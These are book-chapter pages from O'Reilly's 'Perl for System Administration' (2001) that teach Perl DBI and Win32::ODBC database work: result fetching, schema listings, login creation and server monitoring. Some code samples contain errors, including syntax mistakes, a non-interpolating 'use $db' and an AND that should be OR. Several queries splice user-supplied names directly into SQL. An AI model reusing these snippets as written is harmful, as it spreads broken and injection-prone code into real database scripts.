Each time we go through the foreach loop, the SELECT query is executed with a different WHERE clause. Multiple placeholders are straightforward:

$sth->prepare(
   q{SELECT name, ipaddr FROM hosts
     WHERE (name = ? AND bldg = ? AND dept = ?)});
$sth->execute($name,$bldg,$dept);

Now that we know how to retrieve the number of rows affected by non-SELECT SQL queries, let's look into retrieving the results of our SELECT requests.

Step 4: Retrieve SELECT results

The mechanism here is similar to our brief discussion of cursors during the SQL tutorial in Appendix D, "The Fifteen-Minute SQL Tutorial". When we send a SELECT statement to the server using execute( ), we're using a mechanism that allows us to retrieve the results one line at a time.

In DBI, we call one of the methods in Table 7-1 to return data from the result set.

Table 7.1. DBI Methods for Returning Data

Name

Returns

Returns If No More Rows

fetchrow_arrayref( )

An array reference to an anonymous array with values that are the columns of the next row in a result set

undef

fetchrow_array( )

An array with values that are the columns of the next row in a result set

An empty list

fetchrow_hashref( )

A hash reference to an anonymous hash with keys that are the column names and values that are the values of the columns of the next row in a result set

undef

fetchall_arrayref( )

A reference to an array of arrays data structure

A reference to an empty array

Let's see these methods in context. For each of these examples, assume the following was executed just prior:

$sth = $dbh->prepare(q{SELECT name,ipaddr,dept from hosts}) or
  die "Unable to prepare our query: ".$dbh->errstr."\n";
$sth->execute or die "Unable to execute our query: ".$dbh->errstr."\n";

Here's fetchrow_arrayref( ) in action:

while ($aref = $sth->fetchrow_arrayref){
  print "name: "   .  $aref->[0] . "\n";
  print "ipaddr: " .  $aref->[1] . "\n";
  print "dept: "   .  $aref->[2] . "\n";
}

The DBI documentation mentions that fetchrow_hashref( ) is less efficient than fetchrow_arrayref( ) because of the extra processing it entails, but it can yield more readable code. Here's an example:

while ($href = $sth->fetchrow_hashref){
  print "name: "   .  $href->{name}  . "\n";
  print "ipaddr: " .  $href->{ipaddr}. "\n";
  print "dept: "   .  $href->{dept}  . "\n";
}

Finally, let's take a look at the "convenience" method, fetchall_arrayref( ). This method sucks the entire result set into one data structure, returning a reference to an array of references. Be careful to limit the size of your queries when using this method because it does pull the entire result set into memory. If you have a 100GB result set, this may prove to be a bit problematic.

Each reference returned looks exactly like something we would receive from fetchrow_arrayref( ). See Figure 7-2.

Figure 7.2. The data structure returned by fetchrow_arrayref

Here's some code that will print out the entire query result set:

$aref_aref = $sth->fetchall_arrayref;
foreach $rowref (@$aref_aref){
  print "name: "   .  $rowref->[0] . "\n";
  print "ipaddr: " .  $rowref->[1] . "\n";
  print "dept: "   .  $rowref->[2] . "\n";
  print '-'x30,"\n";
}

This code sample is specific to our particular data set because it assumes a certain number of columns in a certain order. For instance, we assume the machine name is returned as the first column in the query ($rowref->[0]).

We can use some magic attributes (often called metadata) of statement handles to rewrite our result retrieval code to make it more generic. Specifically, if we look at $sth->{NUM_OF_FIELDS} after a query, it will tell us the number of fields (columns) in our result set. $sth->{NAME} contains a reference to an array with the names of each column. Here's a more generic way to write the last example:

$aref_aref = $sth->fetchall_arrayref;
foreach $rowref (@$aref_aref){
  for ($i=0; $i < $sth->{NUM_OF_FIELDS};i++;){
    print $sth->{NAME}->[$i].": ".$rowref->[$i]."\n";
  }
  print '-'x30,"\n";
}

Be sure to see the DBI documentation for more metadata attributes.

Step 5: Close the connection to the server

In DBI this is simply:

# tells server you will not need more data from statement handle
# (optional, since we're just about to disconnect)
$sth->finish;
# disconnects handle from database
$dbh->disconnect;

7.2.1. DBI Leftovers

There are two remaining DBI topics worth mentioning before we move on to ODBC. The first is a set of methods I call "shortcut" methods. The methods in Table 7-2 combine steps 3 and 4 from above.

Table 7.2. DBI Shortcut Methods

Name | Combines These Methods into a Single Method
selectrow_arrayref($stmnt) | prepare($stmnt), execute(), fetchrow_arrayref( )
selectcol_arrayref($stmnt) | prepare($stmnt), execute(), (@{fetchrow_arrayref( )})[0] (i.e., returns first column for each row)
selectrow_array($stmnt) | prepare($stmnt), execute(), fetchrow_array( )

The second topic worth mentioning is DBI's ability to bind variables to query results. The methods bind_col( ) and bind_columns( ) are used to tell DBI to automatically place the results of a query into a specific variable or list of variables. This usually saves a step or two when coding. Here's an example using bind_columns( ) that makes its use clear:

$sth = $dbh->prepare(q{SELECT name,ipaddr,dept from hosts}) or
  die "Unable to prep our query:".$dbh->errstr".\n";
$rc = $sth->execute or
  die "Unable to execute our query:".$dbh->errstr".\n";

# these variables will receive the 1st, 2nd, and 3rd columns
# from our SELECT
$rc = $sth->bind_columns(\$name,\$ipaddr,\$dept);

while ($sth->fetchrow_arrayref){
    # $name, $ipaddr, and $dept are automagically filled in from
    # the fetched query results row
    do-something-with-the-results
}

Previous | Home | Next
7.1. Interacting with an SQL Server from Perl | Book Index | 7.3. Using the ODBC Framework
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Using the ODBC Framework (Perl for System Administration)

 Perl for System AdministrationSearch this book

7.3. Using the ODBC Framework

The basic steps for using ODBC are similar to the DBI steps we just discussed.

Step 1: Load the necessary Perl module

use Win32::ODBC;
Step 2: Connect to the database and receive a connection handle

ODBC requires one preliminary step before making a connection. We need to create a Data Source Name. A DSN is a named reference that stores the configuration information (e.g., server and database name) needed to reach an information source like an SQL server. DSNs come in two flavors, user and system, distinguishing between connections available to a single user on a machine and connections available to any user or service.[3]

[3]There's a third flavor, file, which writes the DSN configuration information out to a file so it can be shared among several computers, but it isn't created by the Win32::ODBC method call we're about to use.

DSNs can be created either through the ODBC control panel under Windows NT/2000, or programmatically via Perl. We'll take the latter route, if just to keep the snickering down among the Unix folks. Here's some code to create a user DSN to our database on an MS-SQL server:

# creates a user DSN to a Microsoft SQL Server
# note: to create a system DSN, substitute ODBC_ADD_SYS_DSN
# for ODBC_ADD_DSN
if (Win32::ODBC::ConfigDSN(
                   ODBC_ADD_DSN,
                   "SQL Server",
                   ("DSN=PerlSysAdm",
                    "DESCRIPTION=DSN for PerlSysAdm",
                    "SERVER=mssql.happy.edu",  # server name
                    "ADDRESS=192.168.1.4",     # server IP addr
                    "DATABASE=sysadm",         # our database
                    "NETWORK=DBMSSOCN",        # TCP/IP Socket Lib
                   ))){
                               print "DSN created\n";
                             }
else {
   die "Unable to create DSN:" . Win32::ODBC::Error(  ) . "\n";
}

Once we have a DSN in place, we can use it to open a connection to our database:

# connect to the named DSN, returns a database handle
$dbh=new Win32::ODBC("DSN=PerlSysAdm;UID=$username;PWD=$pw;");
die "Unable to connect to DSN PerlSysAdm:" . Win32::ODBC::Error(  ) . "\n"
  unless (defined $dbh);
Step 3: Send SQL commands to the server

The ODBC equivalent of DBI's do(), prepare( ), and execute( ) is a little bit simpler because the Win32::ODBC module has a single method, Sql( ), for sending commands to a server. Though ODBC theoretically has a notion of prepared statements and placeholders, they are not implemented in the current Win32::ODBC module.[4] Win32::ODBC also does not use statement handles; all communication takes place through the initial database handle opened by the new method above. We're left with the simplest of command structures:

[4]At the time of this writing, Dave Roth was beta testing a new version of Win32::ODBC that allows for parameter binding. It uses a similar syntax to DBI (i.e., Prepare( )and then Sql( )) with a few ODBC twists thrown in. See http://www.roth.net for more information.

$rc = $dbh->Sql(q{SELECT * from hosts});

TIP

An important distinction between the ODBC and DBI methods: unlike DBI's do( ), the ODBC Sql( ) call returns undef if it succeeds, and some non-zero number if it fails.

If you need to know how many rows were affected by an INSERT, DELETE, or UPDATE query, you would use the RowCount( ) method. Win32::ODBC's documentation notes that not all ODBC drivers implement this call (or implement it for all SQL operations), so be sure to test your driver before relying on it. Like the return code for DBI's execute( ), RowCount( ) will return -1 if the number of rows returned is not available to the driver.

Here's the equivalent ODBC code for the DBI do( ) example in the previous section:

if (defined $dbh->Sql(q{UPDATE hosts
                        SET bldg = 'Main'
                        WHERE name = 'bendir'})){
  die "Unable to perform update: ".Win32::ODBC::Error(  )."\n"
}
else {
  $results = $dbh->RowCount(  );
}
Step 4: Retrieve SELECT results

Retrieving the results of a SELECT query under ODBC is performed in a fashion similar to DBI's method, with one twist. First, fetching the data from the server and accessing it are two separate steps under Win32::ODBC. FetchRow( ) gets the next row, returning 1 if it succeeds, undef if it does not. Once we've got the row we can choose one of two methods to access it.

Data( ) returns a list of the returned columns when called in a list context. It returns all of the columns concatenated together if called in a scalar context. Data( ) can take an optional list argument to specify which columns are returned and in what order (otherwise they are returned in an "unspecified" order according to the documentation).

DataHash( ) returns a hash with the column names as keys for the column values. This is similar to DBI's fetchrow_hashref( ) except it returns a hash instead of a hash reference. Like Data( ), DataHash( ) can also take an optional list argument to specify which columns are returned.

In context, they look like this:

if ($dbh->FetchRow(  )){
  @ar = $dbh->Data(  );
  do-stuff-with-@ar-values
}

and:

if ($dbh->FetchRow(  )){
   $ha = $dbh->DataHash('name','ipaddr');
   do-stuff-with-$ha{name}-and-$ha{ipaddr}
}

Just for parity's sake in this discussion, the information we found through DBI's statement handle attribute {NAME} can be found in Win32::ODBC-land via the FieldNames( ) call. If you need to know the number of fields (like in {NUM_OF_FIELDS}), you'll have to count the number of elements in the list returned by FieldNames( ).

Step 5: Close the connection to the server
$dbh->close(  );

If you created a DSN and want to delete it to clean up after yourself, use a statement similar to the one used to create it:

# replace ODBC_REMOVE_DSN with ODBC_REMOVE_SYS_DSN if you created a system DSN
if (Win32::ODBC::ConfigDSN(ODBC_REMOVE_DSN,
                           "SQL Server","DSN=PerlSysAdm")){
  print "DSN deleted\n";
}
else {
  die "Unable to delete DSN:".Win32::ODBC::Error(  )."\n";
}

You now know how to work with a database from Perl using both DBI and ODBC. Let's put your knowledge to work with some more extended examples from the database administration realm.

Previous | Home | Next
7.2. Using the DBI Framework | Book Index | 7.4. Server Documentation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Server Documentation (Perl for System Administration)

 Perl for System AdministrationSearch this book

7.4. Server Documentation

A great deal of time and energy goes into the configuration of an SQL server and the objects that reside on it. Having a way to document this sort of information can come in handy in a number of situations. If a database gets corrupted and there's no backup, you may be called upon to recreate all of its tables. You may have to migrate data from one server to another; knowing the source and destination configuration can be important. Even for your own database programming, being able to see a table map can be very helpful.

To give you a flavor of the nonportable nature of database administration, let me show you an example of the same simple task as written for three different SQL servers using both DBI and ODBC. Each of these programs does the exact same thing: print out a listing of all of the databases on a server, their tables, and the basic structure of each table. These scripts could easily be expanded to show more information about each object. For instance, it might be useful to show which columns in a table had NULL or NOT NULL set. The output of all three programs looks roughly like this:

---sysadm---
        hosts
                name [char(30)]
                ipaddr [char(15)]
                aliases [char(50)]
                owner [char(40)]
                dept [char(15)]
                bldg [char(10)]
                room [char(4)]
                manuf [char(10)]
                model [char(10)]
---hpotter---
        customers
                cid [char(4)]
                cname [varchar(13)]
                city [varchar(20)]
                discnt [real(7)]
        agents
                aid [char(3)]
                aname [varchar(13)]
                city [varchar(20)]
                percent [int(10)]
        products
                pid [char(3)]
                pname [varchar(13)]
                city [varchar(20)]
                quantity [int(10)]
                price [real(7)]
        orders
                ordno [int(10)]
                month [char(3)]
                cid [char(4)]
                aid [char(3)]
                pid [char(3)]
                qty [int(10)]
                dollars [real(7)]
...

7.4.1. MySQL Server via DBI

Here's a DBI way of pulling this information from a MySQL server. MySQL's addition of the SHOW command makes this task pretty easy:

use DBI;

print "Enter user for connect: ";
chomp($user = <STDIN>);
print "Enter passwd for $user: ";
chomp($pw = <STDIN>);

$start= "mysql"; # connect initially to this database

# connect to the start MySQL database
$dbh = DBI->connect("DBI:mysql:$start",$user,$pw);
die "Unable to connect: ".$DBI::errstr."\n" unless (defined $dbh);

# find the databases on the server
$sth=$dbh->prepare(q{SHOW DATABASES}) or
  die "Unable to prepare show databases: ". $dbh->errstr."\n";
$sth->execute or
  die "Unable to exec show databases: ". $dbh->errstr."\n";
while ($aref = $sth->fetchrow_arrayref) {
    push(@dbs,$aref->[0]);
}
$sth->finish;

# find the tables in each database
foreach $db (@dbs) {
    print "---$db---\n";

    $sth=$dbh->prepare(qq{SHOW TABLES FROM $db}) or
     die "Unable to prepare show tables: ". $dbh->errstr."\n";
    $sth->execute or
      die "Unable to exec show tables: ". $dbh->errstr."\n";

    @tables=(  );
    while ($aref = $sth->fetchrow_arrayref) {
        push(@tables,$aref->[0]);
    }

    $sth->finish;

   # find the column info for each table
   foreach $table (@tables) {
        print "\t$table\n";

        $sth=$dbh->prepare(qq{SHOW COLUMNS FROM $table FROM $db}) or
          die "Unable to prepare show columns: ". $dbh->errstr."\n";
        $sth->execute or
          die "Unable to exec show columns: ". $dbh->errstr."\n";

        while ($aref = $sth->fetchrow_arrayref) {
            print "\t\t",$aref->[0]," [",$aref->[1],"]\n";
        }

       $sth->finish;
   }
}
$dbh->disconnect;

A few quick comments about this code:

  • We connect to a start database only to satisfy the DBI connect semantics, but this context is not necessary thanks to the SHOW commands. This won't be the case in our next two examples.

  • If you thought the SHOWTABLES and SHOWCOLUMNS prepare and execute statements looked like excellent candidates for placeholders, you're absolutely right. Unfortunately, this particular DBD driver/server combination doesn't support placeholders in this context (at least not when this book was being written). We'll see a similar situation in our next example.

  • We prompt for a database user and password interactively because the alternatives (hard coding them into the script or passing them on the command line where they can be found by anyone running a process table dump) are even worse evils. This prompt will echo the password characters as typed. To be really careful, we should use something like Term::Readkey to turn off character echo.

7.4.2. Sybase Server via DBI

Here's the Sybase equivalent. Peruse the code and then we'll talk about a few salient points:

use DBI;

print "Enter user for connect: ";
chomp($user = <STDIN>);
print "Enter passwd for $user: ";
chomp($pw = <STDIN>);

$dbh = DBI->connect('dbi:Sybase:',$user,$pw);
die "Unable to connect: $DBI::errstr\n"
  unless (defined $dbh);

# find the databases on the server
$sth = $dbh->prepare(q{SELECT name from master.dbo.sysdatabases}) or
  die "Unable to prepare sysdatabases query: ".$dbh->errstr."\n";
$sth->execute or
  die "Unable to execute sysdatabases query: ".$dbh->errstr."\n";

while ($aref = $sth->fetchrow_arrayref) {
    push(@dbs, $aref->[0]);
}
$sth->finish;

foreach $db (@dbs) {
    $dbh->do("USE $db") or
      die "Unable to use $db: ".$dbh->errstr."\n";
    print "---$db---\n";

    # find the tables in each database
    $sth=$dbh->prepare(q{SELECT name FROM sysobjects WHERE type="U"}) or
      die "Unable to prepare sysobjects query: ".$dbh->errstr."\n";
    $sth->execute or
      die "Unable to exec sysobjects query: ".$dbh->errstr."\n";

    @tables=(  );
    while ($aref = $sth->fetchrow_arrayref) {
        push(@tables,$aref->[0]);
    }
    $sth->finish;

    # we need to be "in" the database for the next step
    $dbh->do("use $db") or
          die "Unable to change to $db: ".$dbh->errstr."\n";

    # find the column info for each table
    foreach $table (@tables) {
        print "\t$table\n";

       $sth=$dbh->prepare(qq{EXEC sp_columns $table}) or
           die "Unable to prepare sp_columns query: ".$dbh->errstr."\n";
        $sth->execute or
           die "Unable to execute sp_columns query: ".$dbh->errstr."\n";

        while ($aref = $sth->fetchrow_arrayref) {
            print "\t\t",$aref->[3]," [",$aref->[5],"(",
                  $aref->[6],")]\n";
        }
        $sth->finish;
    }
}
$dbh->disconnect or
  warn "Unable to disconnect: ".$dbh->errstr."\n";

Here are the promised salient points:

  • Sybase keeps information on its databases and tables in the special system tables sysdatabases and sysobjects. Each database has a sysobjects table, but the server keeps track of the databases in a single sysdatabases table located in the master database. We use the more explicit databases.owner.table syntax in the first SELECT to unambiguously reference this table. To get at the per-database sysobjects, we could just use this syntax instead of explicitly switching database context with USE. But like cd ing to a directory, this context makes the other queries a little simpler to write.

  • The SELECT from sysobjects uses a WHERE clause to only return user-defined tables. This was done to limit the size of the output. If we wanted to include all of the system tables too, we would change this to:

    WHERE type="U" AND type="S"

  • Placeholders in DBD::Sybase are implemented in such a way as to prohibit their use with stored procedures. If this weren't the case, we'd surely use them for the EXEC sp_columns.

7.4.3. MS-SQL Server via ODBC

Finally, here's the code for pulling the same information from a MS-SQL server via ODBC. You'll notice that the actual SQL needed is almost identical to the previous example thanks to the Sybase/MS-SQL connection. The interesting changes between this example and the last are:

  • The use of a DSN, which also gives us a default database context, so we don't have to be explicit about where to look for the sysdatabases table.

  • The use of $dbh->DropCursor( ) as the rough analogue to $sth->finish.

  • The annoying syntax you need to use to execute a stored procedure. See the Win32::ODBC web pages for more detail on dealing with stored procedures and other anomalies like this.

Here's the code:

use Win32::ODBC;

print "Enter user for connect: ";
chomp($user = <STDIN>);
print "Enter passwd for $user: ";
chomp($pw = <STDIN>);

$dsn="sysadm"; # name of the DSN we will be using

# find the available DSNs, creating $dsn if it doesn't exist already
die "Unable to query available DSN's".Win32::ODBC::Error(  )."\n"
  unless (%dsnavail = Win32::ODBC::DataSources(  ));
if (!defined $dsnavail{$dsn}) {
    die "unable to create DSN:".Win32::ODBC::Error(  )."\n"
      unless (Win32::ODBC::ConfigDSN(ODBC_ADD_DSN,
                  "SQL Server",
                  ("DSN=$dsn",
                   "DESCRIPTION=DSN for PerlSysAdm",
                   "SERVER=mssql.happy.edu",
                   "DATABASE=master",
                   "NETWORK=DBMSSOCN", # TCP/IP Socket Lib
                  )));
}

# connect to the master database
$dbh = new Win32::ODBC("DSN=$dsn;UID=$user;PWD=$pw;");
die "Unable to connect to DSN $dsn:".Win32::ODBC::Error(  )."\n"
    unless (defined $dbh);

# find the databases on the server
if (defined $dbh->Sql(q{SELECT name from sysdatabases})){
    die "Unable to query databases:".Win32::ODBC::Error(  )."\n";
}

while ($dbh->FetchRow(  )){
    push(@dbs, $dbh->Data("name"));
}
$dbh->DropCursor(  );

# find the user tables in each database
foreach $db (@dbs) {
    if (defined $dbh->Sql("use $db")){
         die "Unable to change to database $db:" .
             Win32::ODBC::Error(  ) . "\n";
    }
    print "---$db---\n";
    @tables=(  );
    if (defined $dbh->Sql(q{SELECT name from sysobjects
                            WHERE type="U"})){
        die "Unable to query tables in $db:" .
            Win32::ODBC::Error(  ) . "\n";
    }
    while ($dbh->FetchRow(  )) {
        push(@tables,$dbh->Data("name"));
    }
    $dbh->DropCursor(  );

    # find the column info for each table
    foreach $table (@tables) {
          print "\t$table\n";
          if (defined $dbh->Sql(" {call sp_columns (\'$table\')} ")){
            die "Unable to query columns in
                $table:".Win32::ODBC::Error(  ) . "\n";
        }
        while ($dbh->FetchRow(  )) {
            @cols=(  );
            @cols=$dbh->Data("COLUMN_NAME","TYPE_NAME","PRECISION");
            print "\t\t",$cols[0]," [",$cols[1],"(",$cols[2],")]\n";
        }
        $dbh->DropCursor(  );
    }
}
$dbh->Close(  );

die "Unable to delete DSN:".Win32::ODBC::Error(  )."\n"
    unless (Win32::ODBC::ConfigDSN(ODBC_REMOVE_DSN,
                                "SQL Server","DSN=$dsn"));

Previous | Home | Next
7.3. Using the ODBC Framework | Book Index | 7.5. Database Logins
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Database Logins (Perl for System Administration)

 Perl for System AdministrationSearch this book

7.5. Database Logins

As mentioned before, database administrators have to deal with some of the same issues system administrators contend with, like maintaining logins and accounts. For instance, at my day job we teach database programming classes. Each student who takes a class gets a login on our Sybase server and her or his very own (albeit small) database on that server to play with. Here's a simplified version of the code we use to create these databases and logins:

use DBI;

# USAGE: syaccreate <username>

$admin = 'sa';
print "Enter passwd for $admin: ";
chomp($pw = <STDIN>);
$user=$ARGV[0];

# generate a *bogus* password based on user name reversed
# and padded to at least 6 chars with dashes
$genpass = reverse join('',reverse split(//,$user));
$genpass .= "-" x (6-length($genpass));

# here's a list of the SQL commands we will execute in order
# we: 1) create the database on the USER_DISK device,
#        with the log on USER_LOG
#     2) add a login to the server for the user,
#        making the new database the default
#     3) switch to the newly created database
#     4) change its owner to be this user
@commands = ("create database $user on USER_DISK=5 log on USER_LOG=5",
             "sp_addlogin $user,\"$genpass\",$user",
             "use $user",
             "sp_changedbowner $user");

# connect to the server
$dbh = DBI->connect('dbi:Sybase:',$admin,$pw);
die "Unable to connect: $DBI::errstr\n"
  unless (defined $dbh);

# loop over the command array, execute each command in turn
for (@commands) {
    $dbh->do($_) or die "Unable to $_: " . $dbh->errstr . "\n";
}

$dbh->disconnect;

Because this task consists of running a set of commands that don't return data sets, we can write this as a very compact loop that just calls $dbh->do( ) repeatedly. We could use an almost identical script to delete these accounts and their databases when the class has concluded:

use DBI;

# USAGE: syacdelete <username>

$admin = 'sa';
print "Enter passwd for $admin: ";
chomp($pw = <STDIN>);
$user=$ARGV[0];

# here's a list of the SQL commands we will execute in order
# we: drop the user's database
#     drop the user's server login
@commands = ("drop database $user",
            "sp_droplogin $user");

# connect to the server
$dbh = DBI->connect('dbi:Sybase:',$admin,$pw);
die "Unable to connect: $DBI::errstr\n"
  unless(defined $dbh);

# loop over the command array, execute each command in turn
for (@commands) {
    $dbh->do($_) or die "Unable to $_: " . $dbh->errstr . "\n";
}

$dbh->disconnect or
  warn "Unable to disconnect: " . $dbh->errstr . "\n";

There are many login-related functions that can be coded up. Here are a few ideas:

Password checker

Connect to the server and get a listing of databases and logins. Attempt to connect using weak passwords (login names, blank passwords, default passwords).

User mapping

Generate a listing of which logins can access which databases.

Password control

Write a pseudo-password expiration system.

Previous | Home | Next
7.4. Server Documentation | Book Index | 7.6. Monitoring Server Health
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Monitoring Server Health (Perl for System Administration)

 Perl for System AdministrationSearch this book

7.6. Monitoring Server Health

For our final set of examples, we'll take a look at several ways to monitor the health of an SQL server. This sort of routine monitoring is similar in nature to the network service monitoring we saw in Chapter 5, "TCP/IP Name Services".

7.6.1. Space Monitoring

To get technical for a moment, database servers are places to hold stuff. If you run out of space to hold stuff, this is known as either "a bad thing" or "a very bad thing." As a result, programs that help us monitor the amount of space allocated and used on a server are very useful indeed. Let's look at a DBI program designed to look at the space situation on a Sybase server.

Here's a snippet of output from a program that shows graphically how space is used in each database on the server. Each section shows a bar chart of the percentage of allocated data and log space in use in a database. In the following chart, d stands for data space and l stands for log space. For each bar the percentage of space used and the total available space is indicated:

|ddddddd                                          |15.23%/5MB
hpotter--------|                                                 |
               |                                                 |0.90%/5MB

               |ddddddd                                          |15.23%/5MB
dumbledore-----|                                                 |
               |                                                 |1.52%/5MB

               |dddddddd                                         |16.48%/5MB
hgranger-------|                                                 |
               |                                                 |1.52%/5MB

               |ddddddd                                          |15.23%/5MB
rweasley-------|                                                 |
               |l                                                |3.40%/5MB

               |ddddddddddddddddddddddddddd                      |54.39%/2MB
hagrid---------|                                                 |
               |- no log                                         |

Here's how we generated this output:

use DBI;

$admin = 'sa';
print "Enter passwd for $admin: ";
chomp($pw = <STDIN>);
$pages = 2; # data is stored in 2k pages

# connect to the server
$dbh = DBI->connect('dbi:Sybase:',$admin,$pw);
die "Unable to connect: $DBI::errstr\n"
  unless (defined $dbh);

# get the name of the databases on the server
$sth = $dbh->prepare(q{SELECT name from sysdatabases}) or
  die "Unable to prepare sysdatabases query: ".$dbh->errstr."\n";
$sth->execute or
  die "Unable to execute sysdatabases query: ".$dbh->errstr."\n";

while ($aref = $sth->fetchrow_arrayref) {
    push(@dbs, $aref->[0]);
}
$sth->finish;

# retrieve stats for each of the databases
foreach $db (@dbs) {

    # get and total the size column from all non-log segments
    $size    = &querysum(qq{SELECT size FROM master.dbo.sysusages
                           WHERE  dbid = db_id(\'$db\')
                           AND    segmap != 4});
    # get and total the size column for the log segment
    $logsize = &querysum(qq{SELECT size FROM master.dbo.sysusages
                           WHERE  dbid = db_id(\'$db\')
                           AND    segmap = 4});

    # change to the database and retrieve usage stats
    $dbh->do(q{use $db}) or
      die "Unable to change to $db: ".$dbh->errstr."\n";

    # we used the reserved_pgs function to return the number of pages
    # used by both the data (doampg) and index (ioampg) part
    # of the database
    $used=&querysum(q{SELECT reserved_pgs(id,doampg)+reserved_pgs(id,ioampg)
                     FROM sysindexes
                     WHERE id != 8});

    # same, except this time we look at the log usage
    $logused=&querysum(q{SELECT reserved_pgs(id, doampg)
                        FROM sysindexes
                        WHERE id=8});

    # show this information graphically
    &graph($db,$size,$logsize,$used,$logused);
}
$dbh->disconnect;

# prepare/exec a given single-column SELECT query, return
# the sum of the results
sub querysum {
    my($query) = shift;
    my($sth,$aref,$sum);

    $sth = $dbh->prepare($query) or
      die "Unable to prepare $query: ".$dbh->errstr."\n";
    $sth->execute or
      die "Unable to exec $query: ".$dbh->errstr."\n";

    while ($aref=$sth->fetchrow_arrayref) {
        $sum += $aref->[0];
    }
    $sth->finish;

    $sum;
}

# print out nice chart given database name, size, log size,
# and usage info
sub graph {
    my($dbname,$size,$logsize,$used,$logused) = @_;

    # line for data space usage
    print ' 'x15 . '|'.'d'x (50 *($used/$size)) .
          ' 'x (50-(50*($used/$size))) . '|';

    # percentage used and total M for data space
    printf("%.2f",($used/$size*100));
    print "%/". (($size * $pages)/1024)."MB\n";
    print $dbname.'-'x(14-length($dbname)).'-|'.(' 'x 49)."|\n";

    if (defined $logsize) { # line for log space usage
        print ' 'x15 . '|' . 'l'x (50 *($logused/$logsize)) .
               ' 'x (50-(50*($logused/$logsize))) . '|';
        # percentage used and total M for log space
        printf("%.2f",($logused/$logsize*100));
        print "%/". (($logsize * $pages)/1024)."MB\n";
    }
    else { # some databases do not have separate log space
         print ' 'x15 . "|- no log".(' 'x 41)."|\n";
    }
    print "\n";
}

SQL-savvy folks will probably wonder why a special subroutine (querysum) is being invoked to total the contents of a single column instead of using the perfectly good SUM calculation operator in SQL. querysum( ) is just meant to be an example of the sort of manipulation on the fly one can do from Perl. A Perl subroutine is probably more appropriate for more complex jobs. For instance, if we need to keep separate running totals based on a regular expression, that's probably best done from Perl rather than asking the server to perform the tabulation (even if it could).

Where Does the Work Get Done?

One question that may come up when writing SQL programs from within Perl is "Should I manipulate my data on the server using SQL, or on my client using Perl?" Often there is an overlap between the SQL functions offered by a server (e.g., SUM( )) and Perl's operators.

For example, it is probably more efficient to use the DISTINCT keyword to eliminate duplicates from a returned data set before they get to your Perl program, even though this is an operation you could easily do in Perl.

Unfortunately, there are too many variables to be able to provide a hard and fast rule for deciding which method to use. Here are some factors you may wish to consider:

  • How efficiently does the server handle a particular query?

  • How much data is in play?

  • How much do you have to manipulate the data and how complex is that manipulation?

  • What are the speeds of the server, client, and intervening network (if there is one)?

  • Do you want your code to be portable between database servers?

Often you just have to try it both ways before deciding.

7.6.2. Monitoring the CPU Health of a SQL Server

For the final example of this chapter, we'll use DBI to show us a minute-by-minute status line display of the CPU health of a SQL server. Just to make it more interesting, we'll monitor two separate servers simultaneously from the same script. We'll comment on this code in a moment:

use DBI;

$syadmin = "sa";
print "Sybase admin passwd: ";
chomp($sypw = <STDIN>);

$msadmin = "sa";
print "MS-SQL admin passwd: ";
chomp($mspw = <STDIN>);

# connect to Sybase server
$sydbh = DBI->connect("dbi:Sybase:server=SYBASE",$syadmin,$sypw);
die "Unable to connect to sybase server: $DBI::errstr\n"
  unless (defined $sydbh);
# turn on the ChopBlanks option to remove trailing whitespace in columns
$sydbh->{ChopBlanks} = 1;

# connect to MS-SQL server (handy that we can use DBD::Sybase for this!)
$msdbh = DBI->connect("dbi:Sybase:server=MSSQL",$msadmin,$mspw);
die "Unable to connect to mssql server: $DBI::errstr\n"
  unless (defined $msdbh);
# turn on the ChopBlanks option to remove trailing whitespace in columns
$msdbh->{ChopBlanks} = 1;

$|=1; # turn off STDOUT IO buffering

# initialize the signal handler so we can cleanup nicely
$SIG{INT} = sub {$byebye = 1;};

# infinitely loop unless our interrupt flag has been set
while (1) {
    last if ($byebye);

    # run the stored procedure sp_monitor
    $systh = $sydbh->prepare(q{sp_monitor}) or
       die "Unable to prepare sy sp_monitor:".$sydbh->errstr."\n";
    $systh->execute or
       die "Unable to execute sy sp_monitor:".$sydbh->errstr."\n";
    # loop to retrieve the lines from the output we need.
    # We know we have all of it when we see the cpu_busy information
    while($href = $systh->fetchrow_hashref or
          $systh->{syb_more_results}) {
             # got what we needed, stop asking
             last if (defined $href->{cpu_busy});
    }
    $systh->finish;

    # substitute out everything but the % number from
    # the values we receive
    for (keys %{$href}) {
        $href->{$_} =~ s/.*-(\d+%)/\1/;
    }

    # collect all the data we need into a single line
    $info = "Sybase: (".$href->{cpu_busy}." CPU), ".
                    "(".$href->{io_busy}." IO), ".
                    "(".$href->{idle}." idle)   ";

    # ok, now let's do it all over again for the second server (MS-SQL)
    $mssth = $msdbh->prepare(q{sp_monitor}) or
       die "Unable to prepare ms sp_monitor:".$msdbh->errstr."\n";
    $mssth->execute or
       die "Unable to execute ms sp_monitor:".$msdbh->errstr."\n";
    while($href = $mssth->fetchrow_hashref or
            $mssth->{syb_more_results}) {
              # got what we needed, stop asking
              last if (defined $href->{cpu_busy});
    }
    $mssth->finish;

    # substitute out everything but the % number from
    # the values we receive
    for (keys %{$href}) {
        $href->{$_} =~ s/.*-(\d+%)/\1/;
    }

    $info .= "MSSQL: (" . $href->{'cpu_busy'}." CPU), ".
                    "(".$href->{'io_busy'}." IO), ".
                    "(".$href->{'idle'}." idle)";
    print " "x78,"\r";
    print $info,"\r";

    sleep(5) unless ($byebye);
}

# only end up here if we've broken out of the loop thanks to an interrupt
$sydbh->disconnect;
$msdbh->disconnect;

This script keeps this line on your screen, which is refreshed every five seconds:

Sybase: (33% CPU), (33% IO), (0% idle)   MSSQL: (0% CPU), (0% IO), (100% idle)

The heart of this program is the stored procedure sp_monitor that exists both on Sybase and MS-SQL. sp_monitor's output looks like this:

last_run                    current_run                 seconds
--------------------------- --------------------------- -----------
Aug 3 1998 12:05AM          Aug 3 1998 12:05AM          1

cpu_busy                  io_busy                   idle
------------------------- ------------------------- -------------------------
0(0)-0%                   0(0)-0%                   40335(0)-0%

packets_received          packets_sent              packet_errors
------------------------- ------------------------- -------------------------
1648(0)                   1635(0)                   0(0)

total_read          total_write         total_errors        connections
------------------- ------------------- ------------------- ------------------
391(0)              180(0)              0(0)                11(0)

